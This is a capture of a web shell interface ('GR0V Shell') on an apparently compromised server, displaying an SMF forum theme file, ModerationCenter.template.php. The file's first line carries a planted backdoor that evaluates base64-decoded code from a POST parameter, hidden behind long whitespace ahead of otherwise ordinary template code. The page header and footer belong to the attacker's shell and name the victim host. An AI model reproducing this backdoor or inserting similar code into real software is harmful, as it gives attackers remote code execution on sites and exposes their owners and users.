? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happyezystyle/board/Themes/default/
File Upload :
Current File : /home/admin/public_html/old/happyezystyle/board/Themes/default/ModerationCenter.template.php

<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['nb7c30b']));?><?php
// Version: 2.0 RC1; ModerationCenter

function template_moderation_center()
{
	global $settings, $options, $context, $txt, $scripturl;

	// Show a welcome message to the user.
	echo '
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr class="titlebg">
				<td align="center" colspan="2" class="largetext headerpadding">', $txt['moderation_center'], '</td>
			</tr><tr>
				<td class="windowbg" valign="top" style="padding: 7px;">
					<b>', $txt['hello_guest'], ' ', $context['user']['name'], '!</b>
					<div style="font-size: 0.85em; padding-top: 1ex;">', $txt['mc_description'], '</div>
				</td>
			</tr>
		</table>';

	$alternate = 0;
	// Show all the blocks they want to see.
	foreach ($context['mod_blocks'] as $block)
	{
		$block_function = 'template_' . $block;

		// Start of a new row?
		if (!$alternate)
			echo '
		<table width="100%" cellpadding="0" cellspacing="0" border="0" style="margin-top: 1.5ex;">
			<tr valign="top">';

		echo '
				<td width="50%">', function_exists($block_function) ? $block_function() : '', '</td>';

		// If was first in a row, put in a spacer.
		if (!$alternate)
			echo '
				<td style="width: 1ex;">&nbsp;</td>';
		// If the last one, end the row...
		else
			echo '
			</tr>
		</table>';

		$alternate = !$alternate;
	}

	// If alternate is 1, we never quite finished off a row.
	if ($alternate)
		echo '
				<td width="50%"></td>
			</tr>
		</table>';
}

function template_latest_news()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr>
			<td class="catbg">
				<a href="', $scripturl, '?action=helpadmin;help=live_news" onclick="return reqWin(this.href);" class="help"><img src="', $settings['images_url'], '/helptopics.gif" alt="', $txt['help'], '" align="top" /></a> ', $txt['mc_latest_news'], '
			</td>
		</tr><tr>
			<td class="windowbg2" valign="top" style="height: 14em; padding: 0;">
				<div id="smfAnnouncements" style="height: 14em; overflow: auto; padding-right: 1ex;"><div style="margin: 4px; font-size: 0.85em;">', $txt['mc_cannot_connect_sm'], '</div></div>
			</td>
		</tr>
	</table>';

	// This requires a lot of javascript...
	//!!! Put this in it's own file!!
	echo '
		<script language="JavaScript" type="text/javascript" src="', $scripturl, '?action=viewsmfile;filename=current-version.js"></script>
		<script language="JavaScript" type="text/javascript" src="', $scripturl, '?action=viewsmfile;filename=latest-news.js"></script>
		<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
			function smfSetAnnouncements()
			{
				if (typeof(window.smfAnnouncements) == "undefined" || typeof(window.smfAnnouncements.length) == "undefined")
					return;

				var str = "<div style=\"margin: 4px; font-size: 0.85em;\">";

				for (var i = 0; i < window.smfAnnouncements.length; i++)
				{
					str += "\n	<div style=\"padding-bottom: 2px;\"><a hre" + "f=\"" + window.smfAnnouncements[i].href + "\">" + window.smfAnnouncements[i].subject + "<" + "/a> ', $txt['on'], ' " + window.smfAnnouncements[i].time + "<" + "/div>";
					str += "\n	<div style=\"padding-left: 2ex; margin-bottom: 1.5ex; border-top: 1px dashed;\">"
					str += "\n		" + window.smfAnnouncements[i].message;
					str += "\n	<" + "/div>";
				}

				setInnerHTML(document.getElementById("smfAnnouncements"), str + "<" + "/div>");
			}

			add_load_event(smfSetAnnouncements);
		// ]]></script>';

}

// Show all the group requests the user can see.
function template_group_requests_block()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr>
			<td class="catbg">
				<a href="', $scripturl, '?action=groups;sa=requests">', $txt['mc_group_requests'], '</a>
			</td>
		</tr>';

	foreach ($context['group_requests'] as $request)
	{
		echo '
		<tr class="windowbg2">
			<td class="smalltext">
				<a href="', $request['request_href'], '">', $request['group']['name'], '</a> ', $txt['mc_groupr_by'], ' ', $request['member']['link'], '
			</td>
		</tr>';
	}

	// Don't have any watched users right now?
	if (empty($context['group_requests']))
		echo '
		<tr>
			<td class="windowbg2" align="center" valign="top" style="height: 14em; padding: 2px;">
				<b class="smalltext">', $txt['mc_group_requests_none'], '</b>
			</td>
		</tr>';

	echo '
	</table>';
}

// A block to show the current top reported posts.
function template_reported_posts_block()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor" >
		<tr>
			<td class="catbg">
				<a href="', $scripturl, '?action=moderate;area=reports">', $txt['mc_recent_reports'], '</a>
			</td>
		</tr>';

	foreach ($context['reported_posts'] as $report)
	{
		echo '
		<tr class="windowbg2">
			<td class="smalltext">
				<a href="', $report['report_href'], '">', $report['subject'], '</a> ', $txt['mc_reportedp_by'], ' ', $report['author']['link'], '
			</td>
		</tr>';
	}

	// Don't have any watched users right now?
	if (empty($context['reported_posts']))
		echo '
		<tr>
			<td class="windowbg2" align="center" valign="top" style="height: 14em; padding: 2px;">
				<b class="smalltext">', $txt['mc_recent_reports_none'], '</b>
			</td>
		</tr>';

	echo '
	</table>';
}

function template_watched_users()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor" >
		<tr>
			<td class="catbg">
				<a href="', $scripturl, '?action=moderate;area=userwatch">', $txt['mc_watched_users'], '</a>
			</td>
		</tr>';

	foreach ($context['watched_users'] as $user)
	{
		echo '
		<tr class="windowbg2">
			<td>
				<span class="smalltext">', $user['link'], ' ', $txt['mc_seen'], ' ', $user['last_login'], '</span>
			</td>
		</tr>';
	}

	// Don't have any watched users right now?
	if (empty($context['watched_users']))
		echo '
		<tr>
			<td class="windowbg2" align="center" valign="top" style="height: 14em; padding: 2px;">
				<b class="smalltext">', $txt['mc_watched_users_none'], '</b>
			</td>
		</tr>';

	echo '
	</table>';
}

// Little section for making... notes.
function template_notes()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<form action="', $scripturl, '?action=moderate;area=index" method="post">
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr>
				<td class="catbg">
					', $txt['mc_notes'], '
				</td>
			</tr>
			<tr>
				<td class="windowbg2" align="left" style="padding: 0;">';

	if (!empty($context['notes']))
	{
		echo '
					<ul class="moderation_notes">';

		// Cycle through the notes.
		foreach ($context['notes'] as $note)
			echo '
						<li class="smalltext"><a href="', $note['delete_href'], '"><img src="', $settings['images_url'], '/pm_recipient_delete.gif" alt="" /></a> <b>', $note['author']['link'], ':</b> ', $note['text'], '</li>';

		echo '
					</ul>';
	}
	echo '
				</td>
			</tr>
			<tr class="windowbg">
				<td>
					<div style="float: left; width: 90%;">
						<input type="text" name="new_note" value="', $txt['mc_click_add_note'], '" style="width: 95%;" onclick="if (this.value == \'', $txt['mc_click_add_note'], '\') this.value = \'\';" />
					</div>
					<div style="float: right;">
						<input type="submit" name="makenote" value="', $txt['mc_add_note'], '" style="width: 100%;" />
					</div>
				</td>
			</tr>
			<tr class="windowbg3">
				<td><span class="smalltext">', $txt['pages'], ': ', $context['page_index'], '</span></td>
			</tr>
		</table>
		<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
	</form>';
}

function template_reported_posts()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<form action="', $scripturl, '?action=moderate;area=reports', $context['view_closed'] ? ';sa=closed' : '', ';start=', $context['start'], '" method="post" accept-charset="', $context['character_set'], '">
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr class="titlebg">
				<td>', $context['view_closed'] ? $txt['mc_reportedp_closed'] : $txt['mc_reportedp_active'], '</td>
			</tr><tr class="catbg">
				<td>', $txt['pages'], ': ', $context['page_index'], '</td>
			</tr>';

	// Loop through and print out each report!
	$alternate = 0;

	// Make the buttons.
	$close_button = create_button('close.gif', $context['view_closed'] ? 'mc_reportedp_open' : 'mc_reportedp_close', $context['view_closed'] ? 'mc_reportedp_open' : 'mc_reportedp_close', 'align="middle"');
	$details_button = create_button('details.gif', 'mc_reportedp_details', 'mc_reportedp_details', 'align="middle"');
	$ignore_button = create_button('ignore.gif', 'mc_reportedp_ignore', 'mc_reportedp_ignore', 'align="middle"');
	$unignore_button = create_button('ignore.gif', 'mc_reportedp_unignore', 'mc_reportedp_unignore', 'align="middle"');

	foreach ($context['reports'] as $report)
	{
		echo '
			<tr class="', $report['ignore'] ? 'windowbg3' : ($alternate ? 'windowbg' : 'windowbg2'), '">
				<td>
					<div>
						<div style="float: left">
							<b><a href="', $report['topic_href'], '">', $report['subject'], '</a></b> ', $txt['mc_reportedp_by'], ' <b>', $report['author']['link'], '</b>
						</div>
						<div style="float: right">
							<a href="', $report['report_href'], '">', $details_button, '</a>
							<a href="', $scripturl, '?action=moderate;area=reports', $context['view_closed'] ? ';sa=closed' : '', ';ignore=', (int) !$report['ignore'], ';rid=', $report['id'], ';start=', $context['start'], ';', $context['session_var'], '=', $context['session_id'], '" ', !$report['ignore'] ? 'onclick="return confirm(\'' . $txt['mc_reportedp_ignore_confirm'] . '\');"' : '', '>', $report['ignore'] ? $unignore_button : $ignore_button, '</a>
							<a href="', $scripturl, '?action=moderate;area=reports', $context['view_closed'] ? ';sa=closed' : '', ';close=', (int) !$report['closed'], ';rid=', $report['id'], ';start=', $context['start'], ';', $context['session_var'], '=', $context['session_id'], '">', $close_button, '</a>
							', !$context['view_closed'] ? '<input type="checkbox" name="close[]" value="' . $report['id'] . '" class="check" />' : '', '
						</div>
					</div><br />
					<div class="smalltext">
						&#171; ', $txt['mc_reportedp_last_reported'], ': ', $report['last_updated'], ' &#187;<br />';

		// Prepare the comments...
		$comments = array();
		foreach ($report['comments'] as $comment)
			$comments[] = '<a href="' . $comment['member']['href'] . '" title="' . $comment['message'] . '">' . $comment['member']['name'] . '</a>';
		echo '
						&#171; ', $txt['mc_reportedp_reported_by'], ': ', implode(', ', $comments), ' &#187;
					</div>
					<hr />
					', $report['body'], '
				</td>
			</tr>';
		$alternate = !$alternate;
	}

	// Were none found?
	if (empty($context['reports']))
		echo '
			<tr class="windowbg">
				<td align="center">', $txt['mc_reportedp_none_found'], '</td>
			</tr>';

	echo '
			<tr class="catbg">
				<td>
					<div style="float: left;">
						', $txt['pages'], ': ', $context['page_index'], '
					</div>
					<div style="float: right;">
						', !$context['view_closed'] ? '<input type="submit" name="close_selected" value="' . $txt['mc_reportedp_close_selected'] . '" />' : '', '
					</div>
				</td>
			</tr>
		</table>
		<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
	</form>';
}

// Show a list of all the unapproved posts
function template_unapproved_posts()
{
	global $settings, $options, $context, $txt, $scripturl;

	// Just a big table of it all really...
	echo '
	<form action="', $scripturl, '?action=moderate;area=postmod;start=', $context['start'], ';sa=', $context['current_view'], '" method="post" accept-charset="', $context['character_set'], '">
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr class="titlebg">
				<td>', $txt['mc_unapproved_posts'], '</td>
			</tr>';

	// Loop through and print out each outstanding post ;)
	$alternate = 0;

	// Make up some buttons
	$approve_button = create_button('approve.gif', 'approve', 'approve', 'align="middle"');
	$remove_button = create_button('delete.gif', 'remove_message', 'remove', 'align="middle"');

	// No posts?
	if (empty($context['unapproved_items']))
		echo '
			<tr class="windowbg">
				<td align="center">', $txt['mc_unapproved_' . $context['current_view'] . '_none_found'], '</td>
			</tr>';
	else
		echo '
			<tr class="catbg">
				<td>', $txt['pages'], ': ', $context['page_index'], '</td>
			</tr>';

	echo '
		</table>';

	foreach ($context['unapproved_items'] as $item)
	{
		echo '
		<table width="100%" cellpadding="0" cellspacing="1" border="0" class="bordercolor">
			<tr>
				<td width="100%">
					<table border="0" width="100%" cellspacing="0" cellpadding="4" class="bordercolor" align="center">
						<tr class="titlebg2">
							<td style="padding: 0 1ex;">
								', $item['counter'], '
							</td>
							<td width="75%" class="middletext">
								&nbsp;<a href="', $scripturl, '#c', $item['category']['id'], '">', $item['category']['name'], '</a> / <a href="', $scripturl, '?board=', $item['board']['id'], '.0">', $item['board']['name'], '</a> / <a href="', $scripturl, '?topic=', $item['topic']['id'], '.msg', $item['id'], '#msg', $item['id'], '">', $item['subject'], '</a>
							</td>
							<td class="middletext" align="right" style="padding: 0 1ex; white-space: nowrap;">
								', $txt['mc_unapproved_by'], ' ', $item['poster']['link'], ' ', $txt['on'], ': ', $item['time'], '
							</td>
						</tr>
						<tr>
							<td width="100%" height="80" colspan="3" valign="top" class="windowbg2">
								<div class="post">', $item['body'], '</div>
							</td>
						</tr>
						<tr>
							<td colspan="3" class="windowbg2" align="', !$context['right_to_left'] ? 'right' : 'left', '"><span class="middletext">

					<a href="', $scripturl, '?action=moderate;area=postmod;sa=', $context['current_view'], ';start=', $context['start'], ';', $context['session_var'], '=', $context['session_id'], ';approve=', $item['id'], '">', $approve_button, '</a>';

			if ($item['can_delete'])
				echo '
					', $context['menu_separator'], '
					<a href="', $scripturl, '?action=moderate;area=postmod;sa=', $context['current_view'], ';start=', $context['start'], ';', $context['session_var'], '=', $context['session_id'], ';delete=', $item['id'], '">', $remove_button, '</a>';

			echo '
					<input type="checkbox" name="item[]" value="', $item['id'], '" checked="checked" class="check" /> ';

			echo '
							</span></td>
						</tr>
					</table>
				</td>
			</tr>
		</table>';
		$alternate = !$alternate;
	}

	echo '
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr class="titlebg">
				<td align="right">
					<select name="do" onchange="if (this.value != 0 &amp;&amp; confirm(\'', $txt['mc_unapproved_sure'], '\')) submit();">
						<option value="0">', $txt['with_selected'], ':</option>
						<option value="0">-------------------</option>
						<option value="approve">&nbsp;--&nbsp;', $txt['approve'], '</option>
						<option value="delete">&nbsp;--&nbsp;', $txt['delete'], '</option>
					</select>
					<noscript><input type="submit" name="submit" value="', $txt['go'], '" /></noscript>
				</td>
			</tr>
		</table>
		<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
	</form>';
}

// List all attachments awaiting approval.
function template_unapproved_attachments()
{
	global $settings, $options, $context, $txt, $scripturl;

	// Show all the attachments still oustanding.
	echo '
	<form action="', $scripturl, '?action=moderate;area=attachmod;sa=attachments;start=', $context['start'], '" method="post" accept-charset="', $context['character_set'], '">
		<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
			<tr class="titlebg">
				<td colspan="5">', $txt['mc_unapproved_attachments'], '</td>
			</tr>';

	// The ever popular approve button, with the massively unpopular delete.
	$approve_button = create_button('approve.gif', 'approve', 'approve', 'align="middle"');
	$remove_button = create_button('delete.gif', 'remove_message', 'remove', 'align="middle"');

	// None awaiting?
	if (empty($context['unapproved_items']))
		echo '
			<tr class="windowbg">
				<td colspan="5" align="center">', $txt['mc_unapproved_attachments_none_found'], '</td>
			</tr>';
	else
		echo '
			<tr class="catbg">
				<td colspan="5">', $txt['pages'], ': ', $context['page_index'], '</td>
			</tr>
			<tr class="titlebg">
				<td>', $txt['mc_unapproved_attach_name'], '</td>
				<td>', $txt['mc_unapproved_attach_size'], '</td>
				<td>', $txt['mc_unapproved_attach_poster'], '</td>
				<td>', $txt['date'], '</td>
				<td nowrap="nowrap" align="center"><input type="checkbox" onclick="invertAll(this, this.form);" class="check" checked="checked" /></td>
			</tr>';

	$alternate = 0;
	foreach ($context['unapproved_items'] as $item)
	{
		echo '
			<tr class="', $alternate ? 'windowbg' : 'windowbg2' , '">
				<td>
					', $item['filename'], '
				</td>
				<td align="right">
					', $item['size'], 'kB
				</td>
				<td>
					', $item['poster']['link'], '
				</td>
				<td class="smalltext">
					', $item['time'], '<br />', $txt['in'], ' <a href="', $item['message']['href'], '">', $item['message']['subject'], '</a>
				</td>
				<td width="4%" align="center">
					<input type="checkbox" name="item[]" value="', $item['id'], '" checked="checked" class="check" />
				</td>
			</tr>';

		$alternate = !$alternate;
	}

	echo '
			<tr class="titlebg">
				<td colspan="5" align="right">
					<select name="do" onchange="if (this.value != 0 &amp;&amp; confirm(\'', $txt['mc_unapproved_sure'], '\')) submit();">
						<option value="0">', $txt['with_selected'], ':</option>
						<option value="0">-------------------</option>
						<option value="approve">&nbsp;--&nbsp;', $txt['approve'], '</option>
						<option value="delete">&nbsp;--&nbsp;', $txt['delete'], '</option>
					</select>
					<noscript><input type="submit" name="submit" value="', $txt['go'], '" /></noscript>
				</td>
			</tr>
		</table>
		<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
	</form>';
}

function template_viewmodreport()
{
	global $context, $scripturl, $txt;

	echo '
	<form action="', $scripturl, '?action=moderate;area=reports;report=', $context['report']['id'], '" method="post" accept-charset="', $context['character_set'], '">
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr class="titlebg">
			<td colspan="2">
				', sprintf($txt['mc_viewmodreport'], $context['report']['message_link'], $context['report']['author']['link']), '
			</td>
		</tr><tr class="catbg">
			<td colspan="2">
				<div style="float: left">
					', sprintf($txt['mc_modreport_summary'], $context['report']['num_reports'], $context['report']['last_updated']), '
				</div>
				<div style="float: right">';

	// Make the buttons.
	$close_button = create_button('close.gif', $context['report']['closed'] ? 'mc_reportedp_open' : 'mc_reportedp_close', $context['report']['closed'] ? 'mc_reportedp_open' : 'mc_reportedp_close', 'align="middle"');
	$ignore_button = create_button('ignore.gif', 'mc_reportedp_ignore', 'mc_reportedp_ignore', 'align="middle"');
	$unignore_button = create_button('ignore.gif', 'mc_reportedp_unignore', 'mc_reportedp_unignore', 'align="middle"');

	echo '
					<a href="', $scripturl, '?action=moderate;area=reports;ignore=', (int) !$context['report']['ignore'], ';rid=', $context['report']['id'], ';', $context['session_var'], '=', $context['session_id'], '" ', !$context['report']['ignore'] ? 'onclick="return confirm(\'' . $txt['mc_reportedp_ignore_confirm'] . '\');"' : '', '>', $context['report']['ignore'] ? $unignore_button : $ignore_button, '</a>
					<a href="', $scripturl, '?action=moderate;area=reports;close=', (int) !$context['report']['closed'], ';rid=', $context['report']['id'], ';', $context['session_var'], '=', $context['session_id'], '">', $close_button, '</a>
				</div>
			</td>
		</tr><tr class="windowbg2">
			<td colspan="2">
				', $context['report']['body'], '
			</td>
		</tr>
	</table><br />
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr class="titlebg">
			<td>', $txt['mc_modreport_whoreported_title'], '</td>
		</tr>';

	foreach ($context['report']['comments'] as $comment)
	{
		echo '
		<tr class="windowbg2">
			<td>	', sprintf($txt['mc_modreport_whoreported_data'], $comment['member']['link'], $comment['time']), '</td>
		</tr><tr class="windowbg">
			<td class="middletext">&#171; ', $comment['message'], ' &#187;</td>
		</tr>';
	}
	echo '
	</table><br />
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr class="titlebg">
			<td>', $txt['mc_modreport_mod_comments'], '</td>
		</tr>';

	if (empty($context['report']['mod_comments']))
		echo '
		<tr class="windowbg">
			<td align="center">', $txt['mc_modreport_no_mod_comment'], '</td>
		</tr>';

	foreach ($context['report']['mod_comments'] as $comment)
	{
		echo '
		<tr class="windowbg2">
			<td>	', $comment['member']['link'], ': ', $comment['message'], ' <em>(', $comment['time'], ')</em></td>
		</tr>';
	}
	echo '
		<tr class="windowbg2">
			<td align="center">
				<textarea rows="2" cols="60" style="width: 60%;" name="mod_comment"></textarea>
				<div>
					<input type="submit" name="add_comment" value="', $txt['mc_modreport_add_mod_comment'], '" />
				</div>
			</td>
		</tr>
	</table><br />';

	$alt = false;

	template_show_list('moderation_actions_list');

	if (!empty($context['entries']))
	{
		echo '
	<table width="100%" cellpadding="5" cellspacing="1" border="0" class="bordercolor">
		<tr class="catbg">
			<td colspan="5">
				', $txt['mc_modreport_modactions'], '
			</td>
		</tr><tr class="titlebg">
			<td>', $txt['modlog_action'], '</td>
			<td>', $txt['modlog_date'], '</td>
			<td>', $txt['modlog_member'], '</td>
			<td>', $txt['modlog_position'], '</td>
			<td>', $txt['modlog_ip'], '</td>
		</tr>';

		foreach ($context['entries'] as $entry)
		{
			echo '
		<tr class="', $alt ? 'windowbg2' : 'windowbg', '">
			<td>', $entry['action'], '</td>
			<td>', $entry['time'], '</td>
			<td>', $entry['moderator']['link'], '</td>
			<td>', $entry['position'], '</td>
			<td>', $entry['ip'], '</td>
		</tr><tr>
			<td colspan="5" class="', $alt ? 'windowbg2' : 'windowbg', '">';

			foreach ($entry['extra'] as $key => $value)
				echo '
				<i>', $key, '</i>: ', $value;
			echo '
			</td>
		</tr>';
		}
		echo '
	</table>';
	}

	echo '
		<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
	</form>';
}

// Callback function for showing a watched users post in the table.
function template_user_watch_post_callback($post)
{
	global $scripturl, $context, $txt, $delete_button;

	// We'll have a delete please bob.
	if (empty($delete_button))
		$delete_button = create_button('delete.gif', 'remove_message', 'remove', 'align="middle"');

	$output_html = '
					<div>
						<div style="float: left">
							<b><a href="' . $scripturl . '?topic=' . $post['id_topic'] . '.' . $post['id'] . '#msg' . $post['id'] . '">' . $post['subject'] . '</a></b> ' . $txt['mc_reportedp_by'] . ' <b>' . $post['author_link'] . '</b>
						</div>
						<div style="float: right">';

	if ($post['can_delete'])
		$output_html .= '
							<a href="' . $scripturl . '?action=moderate;area=userwatch;sa=post;delete=' . $post['id'] . ';start=' . $context['start'] . ';' . $context['session_var'] . '=' . $context['session_id'] . '" onclick="return confirm(\'' . $txt['mc_watched_users_delete_post'] . '\');">' . $delete_button . '</a>
							<input type="checkbox" name="delete[]" value="' . $post['id'] . '" class="check" />';

	$output_html .= '
						</div>
					</div><br />
					<div class="smalltext">
						&#171; ' . $txt['mc_watched_users_posted'] . ': ' . $post['poster_time'] . ' &#187;
					</div>
					<hr />
					' . $post['body'];

	return $output_html;
}

// Moderation settings
function template_moderation_settings()
{
	global $settings, $options, $context, $txt, $scripturl;

	echo '
	<form action="', $scripturl, '?action=moderate;area=settings" method="post" accept-charset="', $context['character_set'], '">
		<table width="100%" align="center" cellpadding="3" cellspacing="0" border="0" class="tborder">
			<tr class="titlebg">
				<td colspan="2">', $txt['mc_prefs_title'], '</td>
			</tr>
			<tr class="windowbg">
				<td colspan="2">
					<span class="smalltext">
						', $txt['mc_prefs_desc'], '
					</span>
				</td>
			</tr>
			<tr class="windowbg2" valign="top">
				<td width="50%">
					<b>', $txt['mc_prefs_homepage'], ':</b>
				</td>
				<td width="50%">';

	foreach ($context['homepage_blocks'] as $k => $v)
		echo '
					<label for="mod_homepage_', $k, '"><input type="checkbox" id="mod_homepage_', $k, '" name="mod_homepage[', $k, ']"', in_array($k, $context['mod_settings']['user_blocks']) ? ' checked="checked"' : '', ' class="check" /> ', $v, '</label><br />';

	echo '
				</td>
			</tr>';

	// If they can moderate boards they have more options!
	if ($context['can_moderate_boards'])
	{
		echo '
			<tr class="windowbg2" valign="top">
				<td width="50%">
					<b>', $txt['mc_prefs_show_reports'], ':</b>
				</td>
				<td width="50%">
					<input type="checkbox" name="mod_show_reports" ', $context['mod_settings']['show_reports'] ? 'checked="checked"' : '', ' class="check" />
				</td>
			</tr>
			<tr class="windowbg2" valign="top">
				<td width="50%">
					<b>', $txt['mc_prefs_notify_report'], ':</b>
				</td>
				<td width="50%">
					<select name="mod_notify_report">
						<option value="0" ', $context['mod_settings']['notify_report'] == 0 ? 'selected="selected"' : '', '>', $txt['mc_prefs_notify_report_never'], '</option>
						<option value="1" ', $context['mod_settings']['notify_report'] == 1 ? 'selected="selected"' : '', '>', $txt['mc_prefs_notify_report_moderator'], '</option>
						<option value="2" ', $context['mod_settings']['notify_report'] == 2 ? 'selected="selected"' : '', '>', $txt['mc_prefs_notify_report_always'], '</option>
					</select>
				</td>
			</tr>
			<tr class="windowbg2" valign="top">
				<td width="50%">
					<b>', $txt['mc_prefs_notify_approval'], ':</b>
				</td>
				<td width="50%">
					<input type="checkbox" name="mod_notify_approval" ', $context['mod_settings']['notify_approval'] ? 'checked="checked"' : '', ' class="check" />
				</td>
			</tr>';
	}
	echo '
			<tr class="windowbg">
				<td colspan="2" align="right">
					<input type="submit" name="save" value="', $txt['save'], '" />
				</td>
			</tr>
		</table>
	</form>';
}

// Show a notice sent to a user.
function template_show_notice()
{
	global $txt, $settings, $options, $context;

	// We do all the HTML for this one!
	echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"', $context['right_to_left'] ? ' dir="rtl"' : '', '>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=', $context['character_set'], '" />
		<title>', $context['page_title'], '</title>
		<link rel="stylesheet" type="text/css" href="', $settings['theme_url'], '/style.css" />
		<style type="text/css">';

	// Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are bigger...)
	if ($context['browser']['needs_size_fix'])
		echo '
			@import(', $settings['default_theme_url'], '/css/fonts-compat.css);';

	echo '
		</style>
	</head>
	<body>
		<table width="100%" cellpadding="5" cellspacing="0" class="tborder">
			<tr>
				<td class="catbg">
					', $txt['show_notice'], '
				</td>
			</tr>
			<tr>
				<td class="titlebg2">
					<b>', $txt['show_notice_subject'], '</b>: ', $context['notice_subject'], '
				</td>
			</tr>
			<tr>
				<td class="windowbg">
					<b>', $txt['show_notice_text'], ':</b>
					<div class="tborder" style="padding: 10px;">', $context['notice_body'], '</div>
				</td>
			</tr>
		</table>
	</body>
</html>';

}

// Add or edit a warning template.
function template_warn_template()
{
	global $context, $settings, $options, $txt, $scripturl;

	echo '
		<form action="', $scripturl, '?action=moderate;area=warnings;sa=templateedit;tid=', $context['id_template'], '" method="post" accept-charset="', $context['character_set'], '">
			<table width="80%" cellpadding="5" cellspacing="0" border="0" align="center" class="tborder">
				<tr class="titlebg">
					<td colspan="3">', $context['page_title'], '</td>
				</tr>
				<tr class="windowbg">
					<td colspan="3" class="smalltext">', $txt['mc_warning_template_desc'], '</td>
				</tr>
				<tr class="windowbg2" valign="top">
					<td width="50%" colspan="2">
						<b>', $txt['mc_warning_template_title'], ':</b>
					</td>
					<td width="50%">
						<input type="text" name="template_title" value="', $context['template_data']['title'], '" size="30" />
					</td>
				</tr>
				<tr class="windowbg2" valign="top">
					<td width="50%" colspan="2">
						<b>', $txt['profile_warning_notify_body'], ':</b>
						<div class="smalltext">', $txt['mc_warning_template_body_desc'], '</div>
					</td>
					<td width="50%">
						<textarea name="template_body" style="width: 96%" rows="8" cols="40" class="smalltext">', $context['template_data']['body'], '</textarea>
					</td>
				</tr>';

	if ($context['template_data']['can_edit_personal'])
		echo '
				<tr class="windowbg2" valign="top">
					<td width="4%">
						<input type="checkbox" name="make_personal" id="make_personal" ', $context['template_data']['personal'] ? 'checked="checked"' : '', ' class="check" />
					</td>
					<td colspan="2">
						<label for="make_personal">
							 <b>', $txt['mc_warning_template_personal'], '</b>
						</label>
						<div class="smalltext">', $txt['mc_warning_template_personal_desc'], '</div>
					</td>
				</tr>';

	echo '
				<tr class="windowbg2">
					<td colspan="3" align="center">
						<input type="submit" name="save" value="', $context['page_title'], '" />
					</td>
				</tr>
			</table>
			<input type="hidden" name="', $context['session_var'], '" value="', $context['session_id'], '" />
		</form>';
}

?>

T1KUS90T
  root-grov@210.1.60.28:~$